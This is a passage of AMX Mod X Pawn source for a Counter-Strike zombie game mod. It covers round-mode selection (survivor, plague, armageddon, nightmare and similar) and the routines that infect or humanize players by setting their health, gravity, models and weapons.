	if ( equal ( Audio [7], "terwin") || equal ( Audio [7], "ctwin") || equal ( Audio [7], "rounddraw" ) )

	return PLUGIN_HANDLED;

	if ( get_msg_args (  ) == 3 )
	{
		if ( get_msg_argtype ( 2 ) == ARG_STRING )
		{
			new Value [64]; get_msg_arg_string ( 2, Value, charsmax ( Value ) );

			if ( equal ( Value, "%!MRAD_FIREINHOLE" ) )

			return PLUGIN_HANDLED;
		}
	}

	return PLUGIN_CONTINUE;
}

public MessageTeamScore (  )
{
	static Team [2]; get_msg_arg_string ( 1, Team, charsmax ( Team ) );

	switch ( Team [0] )
	{
		case 'C': set_msg_arg_int ( 2, get_msg_argtype ( 2 ), ScoreHumans );

		case 'T': set_msg_arg_int ( 2, get_msg_argtype ( 2 ), ScoreZombies );
	}
}

public MessageTeamInfo ( MsgID, MsgDest )
{
	if ( MsgDest != MSG_ALL && MsgDest != MSG_BROADCAST ) return;

	if ( SwitchingTeam ) return;

	static id; id = get_msg_arg_int ( 1 );

	set_task ( 0.2, "SpecNVision", id );

	if ( NewRound ) return;

	static Team [2]; get_msg_arg_string ( 2, Team, charsmax ( Team ) );

	switch ( Team [0] )
	{
		case 'C':
		{
			if ( ( SurvivorRound && fnGetHumans (  ) ) || ( SniperRound && fnGetHumans (  ) ) )
			{
				remove_task ( id + TASK_TEAM );

				fm_cs_set_user_team ( id, FM_CS_TEAM_T );

				set_msg_arg_string ( 2, "TERRORIST" );
			}
			else if ( !fnGetZombies (  ) )
			{
				remove_task ( id + TASK_TEAM );

				fm_cs_set_user_team ( id, FM_CS_TEAM_T );

				set_msg_arg_string ( 2, "TERRORIST" );
			}
		}
		case 'T':
		{
			if ( fnGetZombies (  ) )
			{
				remove_task ( id + TASK_TEAM );

				fm_cs_set_user_team ( id, FM_CS_TEAM_CT );

				set_msg_arg_string ( 2, "CT" );
			}
		}
	}
}

public MakeZombieTask (  ) cmdMakeZombie ( MODE_NONE, 0 )

cmdMakeZombie ( Mode, id )
{
	static iPlayersNum; iPlayersNum = fnGetAlive (  );

	if ( iPlayersNum < 1 )
	{
		set_task ( 2.0, "MakeZombieTask", TASK_MAKEZOMBIE );

		return;
	}

	NewRound = false;

	static ForwardID, Sound [64], iZombies, iMaxZombies;

	if ( ( Mode == MODE_NONE && ( LastMode != MODE_SURVIVOR ) && random_num ( 1, 200 ) == 1 && iPlayersNum >= 2 ) || Mode == MODE_SURVIVOR )
	{
		SurvivorRound = true;

		LastMode = MODE_SURVIVOR;

		if ( Mode == MODE_NONE ) id = fnGetRandomAlive ( random_num ( 1, iPlayersNum ) );

		ForwardID = id;

		UserHuman ( id, 1, 0, 0 );

		for ( id = 1; id <= MaxPlayers; id ++ )
		{
			if ( !IsAlive [id] ) continue;

			if ( IsSurvivor [id] || IsZombie [id] ) continue;

			UserZombie ( id, 0, 0, 0, 1, 0 );
		}

		ArrayGetString ( SoundSurvivor, random_num ( 0, ArraySize ( SoundSurvivor ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( 0, CHAN_AUTO, Sound );

		set_hudmessage ( 20, 20, 255, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1 )

		ShowSyncHudMsg ( 0, HudMsgSync [0], "%s is Survivor!", PlayerName [ForwardID] );

		ModeStarted = true;

		ExecuteForward ( fwRoundStart, fwDummyResult, MODE_SURVIVOR, ForwardID );
	}
	else if ( ( Mode == MODE_NONE && ( LastMode != MODE_SNIPER ) && random_num ( 1, 200 ) == 1 && iPlayersNum >= 2 ) || Mode == MODE_SNIPER )
	{
		SniperRound = true;

		LastMode = MODE_SNIPER;

		if ( Mode == MODE_NONE ) id = fnGetRandomAlive ( random_num ( 1, iPlayersNum ) );

		ForwardID = id;

		UserHuman ( id, 0, 1, 0 );

		for ( id = 1; id <= MaxPlayers; id ++ )
		{
			if ( !IsAlive [id] ) continue;

			if ( IsSniper [id] || IsZombie [id] ) continue;

			UserZombie ( id, 0, 0, 0, 1, 0 );
		}

		ArrayGetString ( SoundSniper, random_num ( 0, ArraySize ( SoundSniper ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( 0, CHAN_AUTO, Sound );

		set_hudmessage ( 20, 255, 255, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "%s is Sniper!", PlayerName [ForwardID] );

		ModeStarted = true;

		ExecuteForward ( fwRoundStart, fwDummyResult, MODE_SNIPER, ForwardID );
	}
	else if ( ( Mode == MODE_NONE && ( LastMode != MODE_SWARM ) && random_num ( 1, 150 ) == 1 && floatround ( iPlayersNum * 0.5, floatround_ceil ) >= 2 && floatround ( iPlayersNum * 0.5, floatround_ceil ) < iPlayersNum && iPlayersNum >= 4 ) || Mode == MODE_SWARM )
	{
		SwarmRound = true;

		LastMode = MODE_SWARM;

		iMaxZombies = floatround ( iPlayersNum * 0.5, floatround_ceil );

		iZombies = 0;

		while ( iZombies < iMaxZombies )
		{
			if ( ++ id > MaxPlayers ) id = 1;

			if ( !IsAlive [id] || IsZombie [id] ) continue;

			if ( random_num ( 0, 1 ) )
			{
				UserZombie ( id, 0, 0, 0, 1, 0 );

				iZombies ++;
			}
		}

		for ( id = 1; id <= MaxPlayers; id ++ )
		{
			if ( !IsAlive [id] || IsZombie [id] ) continue;

			if ( fm_cs_get_user_team ( id ) != FM_CS_TEAM_CT )
			{
				remove_task ( id + TASK_TEAM );

				fm_cs_set_user_team ( id, FM_CS_TEAM_CT );

				fm_user_team_update ( id );
			}
		}

		ArrayGetString ( SoundSwarm, random_num ( 0, ArraySize ( SoundSwarm ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( 0, CHAN_AUTO, Sound );

		set_hudmessage ( 20, 255, 20, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "Swarm Round!" );

		ModeStarted = true;

		ExecuteForward ( fwRoundStart, fwDummyResult, MODE_SWARM, 0 );
	}
	else if ( ( Mode == MODE_NONE && ( LastMode != MODE_MULTI ) && random_num ( 1, 150 ) == 1 && floatround ( iPlayersNum * 0.5, floatround_ceil ) >= 2 && floatround ( iPlayersNum * 0.5, floatround_ceil ) < iPlayersNum && iPlayersNum >= 6 ) || Mode == MODE_MULTI )
	{
		LastMode = MODE_MULTI;

		iMaxZombies = floatround ( iPlayersNum * 0.5, floatround_ceil );

		iZombies = 0;

		while ( iZombies < iMaxZombies )
		{
			if ( ++ id > MaxPlayers ) id = 1;

			if ( !IsAlive [id] || IsZombie [id] ) continue;

			if ( random_num ( 0, 1 ) )
			{
				UserZombie ( id, 0, 0, 0, 1, 0 );

				iZombies ++;
			}
		}

		for ( id = 1; id <= MaxPlayers; id ++ )
		{
			if ( !IsAlive [id] || IsZombie [id] ) continue;

			if ( fm_cs_get_user_team ( id ) != FM_CS_TEAM_CT )
			{
				remove_task ( id + TASK_TEAM );

				fm_cs_set_user_team ( id, FM_CS_TEAM_CT );

				fm_user_team_update ( id );
			}
		}

		ArrayGetString ( SoundMulti, random_num ( 0, ArraySize ( SoundMulti ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( 0, CHAN_AUTO, Sound );

		set_hudmessage ( 255, 50, 0, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "Multiple Infection!" );

		ModeStarted = true;

		ExecuteForward ( fwRoundStart, fwDummyResult, MODE_MULTI, 0 );
	}
	else if ( ( Mode == MODE_NONE && ( LastMode != MODE_PLAGUE ) && random_num ( 1, 180 ) == 1 &&
	floatround ( ( iPlayersNum - ( 2 + 3 ) ) * 0.4, floatround_ceil ) >= 1 &&
	iPlayersNum - ( 3 + 2 + floatround ( ( iPlayersNum - ( 2 + 3 ) ) * 0.4, floatround_ceil ) ) >= 1 &&
	iPlayersNum >= 8 ) || Mode == MODE_PLAGUE )
	{
		PlagueRound = true;

		LastMode = MODE_PLAGUE;

		static iSurvivors, iMaxSurvivors;

		iMaxSurvivors = 3;

		iSurvivors = 0;

		while ( iSurvivors < iMaxSurvivors )
		{
			id = fnGetRandomAlive ( random_num ( 1, iPlayersNum ) );

			if ( IsSurvivor [id] ) continue;

			UserHuman ( id, 1, 0, 0 );

			iSurvivors ++;

			fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesPlagueSurvivorHealth] ) )
		}

		static iNemesis, iMaxNemesis;

		iMaxNemesis = 2;

		iNemesis = 0;

		while ( iNemesis < iMaxNemesis )
		{
			id = fnGetRandomAlive ( random_num(1, iPlayersNum))

			if ( IsSurvivor [id] || IsNemesis [id] ) continue;

			UserZombie ( id, 0, 1, 0, 0, 0 );

			iNemesis ++;

			fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesPlagueNemesisHealth] ) );
		}

		iMaxZombies = floatround ( ( iPlayersNum - ( 2 + 3 ) ) * 0.4, floatround_ceil );

		iZombies = 0;

		while ( iZombies < iMaxZombies )
		{
			if ( ++ id > MaxPlayers ) id = 1;

			if ( !IsAlive [id] || IsZombie [id] || IsSurvivor [id] ) continue;

			if ( random_num ( 0, 1 ) )
			{
				UserZombie ( id, 0, 0, 0, 1, 0 );

				iZombies ++;
			}
		}

		for ( id = 1; id <= MaxPlayers; id ++ )
		{
			if ( !IsAlive [id] || IsZombie [id] || IsSurvivor [id] ) continue;

			if ( fm_cs_get_user_team ( id ) != FM_CS_TEAM_CT )
			{
				remove_task ( id + TASK_TEAM );

				fm_cs_set_user_team ( id, FM_CS_TEAM_CT);

				fm_user_team_update ( id );
			}
		}

		ArrayGetString ( SoundPlague, random_num ( 0, ArraySize ( SoundPlague ) - 1 ), Sound, charsmax ( Sound ) )

		EmitSound ( 0, CHAN_AUTO, Sound );

		set_hudmessage ( 0, 50, 255, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "Plague Round!" );

		ModeStarted = true;

		ExecuteForward ( fwRoundStart, fwDummyResult, MODE_PLAGUE, 0 );
	}
	else if ( ( Mode == MODE_NONE && ( LastMode != MODE_ARMAGEDDON ) && random_num ( 1, 300 ) == 1 && floatround ( iPlayersNum * 0.5, floatround_ceil ) >= 2 && floatround ( iPlayersNum * 0.5, floatround_ceil ) < iPlayersNum && iPlayersNum >= 6 ) || Mode == MODE_ARMAGEDDON )
	{
		ArmageddonRound = true;

		LastMode = MODE_ARMAGEDDON;

		static iSurvivors, iMaxSurvivors;

		iMaxSurvivors = floatround ( iPlayersNum * 0.5, floatround_ceil );

		iSurvivors = 0;

		while ( iSurvivors < iMaxSurvivors )
		{
			if ( ++ id > MaxPlayers ) id = 1;

			if ( !IsAlive [id] || IsSurvivor [id] ) continue;

			if ( random_num ( 0, 1 ) )
			{
				UserHuman ( id, 1, 0, 0 );

				iSurvivors ++;

				fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesApocalypseSurvivorHealth] ) );
			}
		}

		for ( id = 1; id <= MaxPlayers; id ++ )
		{
			if ( !IsAlive [id] || IsSurvivor [id] ) continue;

			UserZombie ( id, 0, 1, 0, 0, 0 );

			fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesApocalypseNemesisHealth] ) );
		}

		ArrayGetString ( SoundArmageddon, random_num ( 0, ArraySize ( SoundArmageddon ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( 0, CHAN_AUTO, Sound );

		set_hudmessage ( 155, 20, 255, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "Armageddon Round!" );

		ModeStarted = true;

		ExecuteForward ( fwRoundStart, fwDummyResult, MODE_ARMAGEDDON, 0 );
	}
	else if ( ( Mode == MODE_NONE && ( LastMode != MODE_APOCALYPSE ) && random_num ( 1, 470 ) == 1 && floatround ( iPlayersNum * 0.5, floatround_ceil ) >= 2 && floatround ( iPlayersNum * 0.5, floatround_ceil ) < iPlayersNum && iPlayersNum >= 6 ) || Mode == MODE_APOCALYPSE )
	{
		ApocalypseRound = true;

		LastMode = MODE_APOCALYPSE;

		static iSnipers, iMaxSnipers;

		iMaxSnipers = floatround ( iPlayersNum * 0.5, floatround_ceil )

		iSnipers = 0;

		while ( iSnipers < iMaxSnipers )
		{
			if ( ++ id > MaxPlayers ) id = 1;

			if ( !IsAlive [id] || IsSniper [id] ) continue;

			if ( random_num ( 0, 1 ) )
			{
				UserHuman ( id, 0, 1, 0 );

				iSnipers ++;

				fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesApocalypseSniperHealth] ) );
			}
		}

		for ( id = 1; id <= MaxPlayers; id ++ )
		{
			if ( !IsAlive [id] || IsSniper [id] ) continue;

			UserZombie ( id, 0, 0, 1, 0, 0 )	;

			fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesApocalypseAssassinHealth] ) );
		}

		ArrayGetString ( SoundApocalypse, random_num ( 0, ArraySize ( SoundApocalypse ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( 0, CHAN_AUTO, Sound );

		set_hudmessage ( 255, 20, 155, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "Assassins vs. Snipers Round!" );

		ModeStarted = true;

		ExecuteForward ( fwRoundStart, fwDummyResult, MODE_APOCALYPSE, 0 );
	}
	else if ( ( Mode == MODE_NONE && ( LastMode != MODE_NIGHTMARE ) && random_num ( 1, 190 ) == 1 && floatround ( iPlayersNum * 0.2, floatround_ceil ) >= 2 && floatround ( iPlayersNum * 0.2, floatround_ceil ) < iPlayersNum && iPlayersNum >= 6 ) || Mode == MODE_NIGHTMARE )
	{
		NightmareRound = true;

		LastMode = MODE_NIGHTMARE;

		iMaxZombies = floatround ( ( iPlayersNum * 0.2 ), floatround_ceil );

		iZombies = 0

		while ( iZombies < iMaxZombies )
		{
			if ( ( ++ id ) > MaxPlayers ) id = 1;

			if ( !IsAlive [id] ) continue;

			if ( random_num ( 0, 1 ) )
			{
				UserZombie ( id, 0, 1, 0, 0, 0 );

				fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesNightmareAssassinHealth] ) );

				iZombies ++;
			}
		}

		iZombies = 0

		while ( iZombies < iMaxZombies )
		{
			if ( ( ++ id ) > MaxPlayers ) id = 1;

			if ( !IsAlive [id] || IsAssassin [id] ) continue;

			if ( random_num ( 0, 1 ) )
			{
				UserZombie ( id, 0, 0, 1, 0, 0 );

				fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesNightmareNemesisHealth] ) );

				iZombies ++;
			}
		}

		iZombies = 0

		while ( iZombies < iMaxZombies )
		{
			if ( ( ++ id ) > MaxPlayers ) id = 1;

			if ( !IsAlive [id] || IsAssassin [id] || IsNemesis [id] ) continue;

			if ( random_num ( 0,  1 ) )
			{
				UserHuman ( id, 1, 0, 0 );

				fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesNightmareSurvivorHealth] ) );

				iZombies++
			}
		}

		for ( id = 1; id <= MaxPlayers; id ++ )
		{
			if ( !IsAlive [id] || IsAssassin [id] || IsNemesis [id] || IsSurvivor [id] ) continue;

			UserHuman ( id, 0, 1, 0 );

			fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesNightmareSniperHealth] ) );
		}

		ArrayGetString ( SoundNightmare, random_num ( 0, ArraySize ( SoundNightmare ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( 0, CHAN_AUTO, Sound );

		set_hudmessage ( 255, 20, 20, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "Nightmare Round !" );

		ModeStarted = true;

		ExecuteForward ( fwRoundStart, fwDummyResult, MODE_NIGHTMARE, 0 );

	}
	else
	{
		LastMode = MODE_INFECTION;

		if ( Mode == MODE_NONE ) id = fnGetRandomAlive ( random_num ( 1, iPlayersNum ) );

		ForwardID = id;

		if ( ( Mode == MODE_NONE && ( LastMode != MODE_NEMESIS ) && random_num ( 1, 40 ) == 1 && iPlayersNum >= 2 ) || Mode == MODE_NEMESIS )
		{
			NemesisRound = true;

			LastMode = MODE_NEMESIS;

			UserZombie ( id, 0, 1, 0, 0, 0 );
		}
		else if ( ( Mode == MODE_NONE && ( LastMode != MODE_ASSASSIN ) && random_num ( 1, 50 ) == 1 && iPlayersNum >= 2 ) || Mode == MODE_ASSASSIN )
		{
			AssassinRound = true;

			LastMode = MODE_ASSASSIN;

			UserZombie ( id, 0, 0, 1, 0, 0 );
		}
		else
		{
			LastMode = MODE_INFECTION;

			UserZombie ( id, 0, 0, 0, 0, 0 );
		}

		for ( id = 1; id <= MaxPlayers; id ++ )
		{
			if ( !IsAlive [id] ) continue;

			if ( IsZombie [id] ) continue;

			if ( fm_cs_get_user_team ( id ) != FM_CS_TEAM_CT )
			{
				remove_task ( id + TASK_TEAM );

				fm_cs_set_user_team ( id, FM_CS_TEAM_CT );

				fm_user_team_update ( id );
			}
		}

		if ( NemesisRound )
		{
			ArrayGetString ( SoundNemesis, random_num ( 0, ArraySize ( SoundNemesis ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( 0, CHAN_AUTO, Sound );

			set_hudmessage ( 255, 20, 20, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s is Nemesis !", PlayerName [ForwardID] );

			ModeStarted = true;

			ExecuteForward ( fwRoundStart,  fwDummyResult, MODE_NEMESIS, ForwardID );
		}
		else if ( AssassinRound )
		{
			ArrayGetString ( SoundAssassin, random_num ( 0, ArraySize ( SoundAssassin ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( 0, CHAN_AUTO, Sound );

			set_lights ( "a" );

			set_hudmessage ( 255, 255, 20, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s is Assassin !", PlayerName [ForwardID] );

			ModeStarted = true;

			ExecuteForward ( fwRoundStart, fwDummyResult, MODE_ASSASSIN, ForwardID );
		}
		else
		{
			set_hudmessage ( 255, 20, 20, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1)

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s is First Zombie !", PlayerName [ForwardID] );

			ModeStarted = true;

			ExecuteForward ( fwRoundStart, fwDummyResult, MODE_INFECTION, ForwardID );
		}
	}

	remove_task ( TASK_AMBIENCESOUNDS );

	set_task ( 2.0, "AmbienceSoundEffects", TASK_AMBIENCESOUNDS );
}

UserZombie ( id, Infector, Nemesis, Assassin, SilentMode, Rewards )
{
	ExecuteForward ( fwUserInfectAttempt, fwDummyResult, id, Infector, Nemesis );

	if ( fwDummyResult >= ZRISES_PLUGIN_HANDLED && ModeStarted && fnGetZombies (  ) > LastPlayerLeaving ) return;

	ExecuteForward ( fwUserInfectedPre, fwDummyResult, id, Infector, Nemesis );

	if ( ZombieClassNext [id] == ZCLASS_NONE ) set_task ( 0.2, "ShowMenuZClass", id );

	ZombieClass [id] = ZombieClassNext [id];

	if ( ZombieClass [id] == ZCLASS_NONE ) ZombieClass [id] = 0;

	IsZombie [id] = true;

	IsNemesis [id] = false;

	IsAssassin [id] = false;

	IsSurvivor [id] = false;

	IsSniper [id] = false;

	FirstZombie [id] = false;

	set_pev ( id, pev_effects, pev ( id, pev_effects ) &~ EF_BRIGHTLIGHT );

	NoDamage [id] = false;

	set_pev ( id, pev_effects, pev ( id, pev_effects ) &~ EF_NODRAW );

	BurningDuration [id] = 0;

	if ( Rewards && Infector )
	{
		SendDeathMsg ( Infector, id );

		FixDeadAttrib ( id );

		UpdateFrags ( Infector, id, 1, 1, 1 );

		AmmoPacks [Infector] += get_pcvar_num ( GetCvar [zRisesAmmoInfect] );
	}

	ZombieSpeed [id] = float ( ArrayGetCell ( ZClassSpeed_01, ZombieClass [id] ) );

	ZombieKnockback [id] = Float:ArrayGetCell ( ZClassKnockback_01, ZombieClass [id] );

	ArrayGetString ( ZClassName_01, ZombieClass [id], ZombieClassName [id], charsmax ( ZombieClassName [ ] ) );

	static Sound [64];

	if ( !SilentMode )
	{
		if ( Nemesis )
		{
			IsNemesis [id] = true;

			if ( get_pcvar_num ( GetCvar [zRisesNemesisHealth] ) < 50000 )

				fm_set_user_health ( id, ArrayGetCell ( ZClassHealth_01, 0 ) * fnGetAlive (  ) );
			else
				fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesNemesisHealth] ) );

			if ( !IsFrozen [id] ) set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesNemesisGravity] ) );
		}
		else if ( Assassin )
		{
			IsAssassin [id] = true;

			if ( get_pcvar_num ( GetCvar [zRisesAssassinHealth] ) < 15000 )

				fm_set_user_health ( id, ArrayGetCell ( ZClassHealth_01, 0 ) * fnGetAlive (  ) );
			else
				fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesAssassinHealth] ) );

			if ( !IsFrozen [id] ) set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesAssassinGravity] ) );
		}
		else if ( fnGetZombies (  ) == 1 )
		{
			FirstZombie [id] = true;

			fm_set_user_health ( id, floatround ( float ( ArrayGetCell ( ZClassHealth_01, ZombieClass [id] ) ) * 1.0 ) );

			if ( !IsFrozen [id] ) set_pev ( id, pev_gravity, Float: ArrayGetCell ( ZClassGravity_01, ZombieClass [id] ) );

			ArrayGetString ( ZombieInfect, random_num ( 0, ArraySize ( ZombieInfect ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( id, CHAN_AUTO, Sound );
		}
		else
		{
			fm_set_user_health ( id, ArrayGetCell ( ZClassHealth_01, ZombieClass [id] ) )

			if ( !IsFrozen [id] ) set_pev ( id, pev_gravity, Float: ArrayGetCell ( ZClassGravity_01, ZombieClass [id] ) );

			ArrayGetString ( ZombieInfect, random_num ( 0, ArraySize ( ZombieInfect ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( id, CHAN_AUTO, Sound );

			set_hudmessage ( 255, 20, 20, 0.05, 0.45, 0, 0.0, 5.0, 1.0, 1.0, -1 );

			if ( Infector )

				ShowSyncHudMsg ( 0, HudMsgSync [0], "%s's brains has been eaten by %s...", PlayerName [id], PlayerName [Infector] );
			else
				ShowSyncHudMsg ( 0, HudMsgSync [0], "%s's brains has been eaten...", PlayerName [id] );
		}
	}
	else
	{
		fm_set_user_health ( id, ArrayGetCell ( ZClassHealth_01, ZombieClass [id] ) )

		if ( !IsFrozen [id] ) set_pev ( id, pev_gravity, Float: ArrayGetCell ( ZClassGravity_01, ZombieClass [id] ) );
	}

	remove_task ( id + TASK_MODEL );

	remove_task ( id + TASK_BLOOD );

	remove_task ( id + TASK_BURN );

	if ( fm_cs_get_user_team ( id ) != FM_CS_TEAM_T )
	{
		remove_task ( id + TASK_TEAM );

		fm_cs_set_user_team ( id, FM_CS_TEAM_T);

		fm_user_team_update ( id );
	}

	static CurrentModel [32], TempModel [32], AlreadyHasModel, i, iRandom, size;

	AlreadyHasModel = false;

	fm_cs_get_user_model ( id, CurrentModel, charsmax ( CurrentModel ) );

	if ( IsNemesis [id] )
	{
		size = ArraySize ( ModelNemesis );

		for ( i = 0; i < size; i ++ )
		{
			ArrayGetString ( ModelNemesis, i, TempModel, charsmax ( TempModel ) );

			if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
		}

		if ( !AlreadyHasModel )
		{
			iRandom = random_num ( 0, size - 1 );

			ArrayGetString ( ModelNemesis, iRandom, PlayerModel [id], charsmax ( PlayerModel [ ] ) );
		}
	}
	else if ( IsAssassin [id] )
	{
		size = ArraySize ( ModelAssassin );

		for ( i = 0; i < size; i ++ )
		{
			ArrayGetString ( ModelAssassin, i, TempModel, charsmax ( TempModel ) );

			if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
		}

		if ( !AlreadyHasModel )
		{
			iRandom = random_num ( 0, size - 1 );

			ArrayGetString ( ModelAssassin, iRandom, PlayerModel [id], charsmax ( PlayerModel [ ] ) );
		}
	}
	else
	{
		for ( i = ArrayGetCell ( ZClassModelsStart_01, ZombieClass [id] ); i < ArrayGetCell ( ZClassModelSend_01, ZombieClass [id] ); i ++ )
		{
			ArrayGetString ( ZClassPlayerModel_01, i, TempModel, charsmax ( TempModel ) );

			if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
		}

		if ( !AlreadyHasModel )
		{
			iRandom = random_num ( ArrayGetCell ( ZClassModelsStart_01, ZombieClass [id] ), ArrayGetCell ( ZClassModelSend_01, ZombieClass [id] ) - 1 );

			ArrayGetString ( ZClassPlayerModel_01, iRandom, PlayerModel[ id], charsmax ( PlayerModel [ ] ) );
		}
	}

	if ( !AlreadyHasModel )
	{
		if ( NewRound )

			set_task ( 1.0, "fmUserModelUpdate", id + TASK_MODEL );
		else
			fmUserModelUpdate ( id + TASK_MODEL );
	}

	if ( !IsFrozen [id] )
	{
		if ( IsNemesis [id] )

			fm_set_rendering ( id, kRenderFxGlowShell, 250, 0 , 0, kRenderNormal, 25  );

		else if ( IsAssassin [id] )

			fm_set_rendering ( id, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25 );
		else
			fm_set_rendering ( id );
	}

	cs_set_user_zoom ( id, CS_RESET_ZOOM, 1 );

	set_pev ( id, pev_armorvalue, 0.0 );

	drop_weapons ( id, 1 );

	drop_weapons ( id, 2 );

	fm_strip_user_weapons ( id );

	fm_give_item ( id, "weapon_knife" );

	InfectionEffects ( id );

	NVision [id] = true;

	if ( !IsBot [id] )
	{
		NVisionEnabled [id] = true;

		remove_task ( id + TASK_NVISION );

		set_task ( 0.1, "UserNVision", id + TASK_NVISION, _, _, "b" );
	}
	else
		cs_set_user_nvg ( id, 1 );

	ExecuteForward ( fwUserInfectedPost, fwDummyResult, id, Infector, Nemesis );

	fnCheckLastZombie (  );
}

UserHuman ( id, Survivor, Sniper, SilentMode )
{

	ExecuteForward ( fwUserHumanizeAttempt, fwDummyResult, id, Survivor )

	if ( fwDummyResult >= ZRISES_PLUGIN_HANDLED && ModeStarted && fnGetHumans (  ) > LastPlayerLeaving ) return;

	ExecuteForward ( fwUserHumanizedPre, fwDummyResult, id, Survivor );

	remove_task ( id + TASK_MODEL );

	remove_task ( id + TASK_BLOOD );

	remove_task ( id + TASK_BURN );

	remove_task ( id + TASK_NVISION );

	IsZombie [id] = false;

	IsNemesis [id] = false;

	IsAssassin [id] = false;

	IsSurvivor [id] = false;

	IsSniper [id] = false;

	FirstZombie [id] = false;

	CanBuy [id] = true;

	NVision [id] = false;

	NVisionEnabled [id] = false;

	set_pev ( id, pev_effects, pev ( id, pev_effects ) &~ EF_BRIGHTLIGHT );

	NoDamage [id] = false;

	set_pev ( id, pev_effects, pev ( id, pev_effects ) &~ EF_NODRAW );

	BurningDuration [id] = 0;

	drop_weapons ( id, 1 );

	drop_weapons ( id, 2 );

	fm_strip_user_weapons ( id );

	fm_give_item ( id, "weapon_knife" );

	if ( Survivor )
	{
		IsSurvivor [id] = true;

		if ( get_pcvar_num ( GetCvar [zRisesSurvivorHealth] ) < 3500 )

			fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesHumanHealth] ) * fnGetAlive (  ) );
		else
			fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesSurvivorHealth] ) );

		if ( !IsFrozen [id] ) set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesSurvivorGravity] ) );

		fm_give_item ( id, "weapon_xm1014" );
		fm_give_item ( id, "weapon_ak47" );
		fm_give_item ( id, "weapon_hegrenade" );

		ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [CSW_XM1014], AMMOTYPE [CSW_XM1014], MAXBPAMMO [CSW_XM1014] );
		ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [CSW_AK47], AMMOTYPE [CSW_AK47], MAXBPAMMO [CSW_AK47] );
	}
	else if ( Sniper )
	{
		IsSniper [id] = true

		if ( get_pcvar_num ( GetCvar [zRisesSniperHealth] ) < 2000 )

			fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesHumanHealth] ) * fnGetAlive (  ) );
		else
			fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesSniperHealth] ) );

		if ( !IsFrozen [id] ) set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesSniperGravity] ) );

		fm_give_item ( id, "weapon_awp" ) ;

		ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [CSW_AWP], AMMOTYPE [CSW_AWP], MAXBPAMMO [CSW_AWP] );
	}
	else
	{
		fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesHumanHealth] ) );

		if ( !IsFrozen [id] ) set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesHumanGravity] ) );

		set_task ( 0.2, "GUNS", id + TASK_SPAWN );

		if ( !SilentMode )
		{
			static Sound [64];

			ArrayGetString ( SoundAntidote, random_num ( 0, ArraySize ( SoundAntidote ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( id, CHAN_ITEM, Sound );

			set_hudmessage ( 20, 155, 255, 0.05, 0.45, 0, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s has used an antidote...", PlayerName [id] )
		}
	}

	if ( fm_cs_get_user_team ( id ) != FM_CS_TEAM_CT )
	{
		remove_task ( id + TASK_TEAM );

		fm_cs_set_user_team ( id, FM_CS_TEAM_CT);

		fm_user_team_update ( id );
	}

	static CurrentModel [32], TempModel [32], AlreadyHasModel, i, iRandom, size;

